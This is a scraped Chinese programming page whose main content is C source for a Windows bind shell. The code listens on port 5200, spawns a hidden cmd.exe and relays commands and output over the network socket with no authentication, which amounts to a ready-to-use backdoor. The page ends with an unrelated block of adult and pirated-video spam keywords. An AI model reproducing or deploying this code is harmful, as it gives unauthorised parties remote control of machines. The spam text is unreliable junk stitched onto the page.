簡單遠程雙管道cmd

        首頁 > IT > > 正文

        日期:2022-04-11 09:32:08    來源:腳本之家    
        #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"Ws2_32") int main() { WSADATA ws; SOCKET listenFD; char Buff[1024]; int ret; //初始化WSA WSAStartup(MAKEWORD(2,2),&ws); //建立socket listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //監聽本機5200端口 struct sockaddr_in server; server.sin_family=AF_INET; server.sin_port=htons(5200); server.sin_addr.s_addr=ADDR_ANY; ret=bind(listenFD,(sockaddr *)&server,sizeof(server)); ret=listen(listenFD,2); //如果客戶請求5200端口,接受連接 int iAddrSize=sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); SECURITY_ATTRIBUTES pipeattr1,pipeattr2; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; //建立匿名管道1 pipeattr1.nLength=12; pipeattr1.lpSecurityDescriptor=0; pipeattr1.bInheritHandle=true; CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0); //建立匿名管道2 pipeattr2.nLength=12; pipeattr2.lpSecurityDescriptor=0; pipeattr2.bInheritHandle=true; CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0); STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; si.hStdInput=hReadPipe2; si.hStdOutput=si.hStdError=hWritePipe1; char cmdline[]="cmd.exe"; PROCESS_INFORMATION ProcessInformation; //建立進程 ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); unsigned long lBytesRead; while (1) { //檢查管道1,即CMD進程是否有輸出 ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); if (lBytesRead) { //管道1有輸出,輸出結果發給遠程客戶機 ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; ret=send(clientFD,Buff,lBytesRead,0); if (ret<=0) break; } else { //否則,接受遠程客戶機命令 lBytesRead=recv(clientFD,Buff,1024,0); if (lBytesRead<=0) break; //將命令寫入管道2,即傳給CMD進程 ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; } } return 0; }

        關鍵詞:

        下一篇:十款提高開發效率的Firefox插件圖文教程
        上一篇:為什么用阿里通打電話對方手機顯示“未知”號碼?

        科技

         
        中文字幕精品亚洲无线码一区 | 亚洲精品在线观看视频| 亚洲AV无码乱码精品国产| 久久久久久亚洲av无码蜜芽| 亚洲卡一卡二卡乱码新区| wwwxxx亚洲| 国产精品亚洲精品青青青| 久久亚洲最大成人网4438| 亚洲日韩乱码中文无码蜜桃臀| 日韩精品一区二区亚洲AV观看 | 久久夜色精品国产亚洲av | 亚洲精品国产V片在线观看| 337p日本欧洲亚洲大胆人人| 99亚洲乱人伦aⅴ精品| 午夜亚洲乱码伦小说区69堂| 亚洲成a人片在线观看国产| 国产午夜亚洲精品不卡免下载| 成人亚洲综合天堂| 亚洲日韩在线观看| 国产亚洲精品久久久久秋霞| 国产亚洲无线码一区二区| 亚洲AV无码欧洲AV无码网站| 亚洲最大成人网色| 亚洲国产精品综合久久网各| 亚洲人成网站色在线观看| 亚洲区日韩精品中文字幕| 亚洲AV无码专区亚洲AV桃| 国产亚洲精品美女| 国产亚洲精品看片在线观看| 亚洲AV午夜成人影院老师机影院 | 亚洲成a人片77777老司机| 亚洲视频国产视频| 国产色在线|亚洲| 国产精品亚洲二区在线| 中文字幕在线亚洲精品| 亚洲人成在线观看| 精品亚洲成在人线AV无码| 欧洲亚洲国产精华液| 久久久久亚洲精品无码网址 | 妇女自拍偷自拍亚洲精品| 久久亚洲色一区二区三区|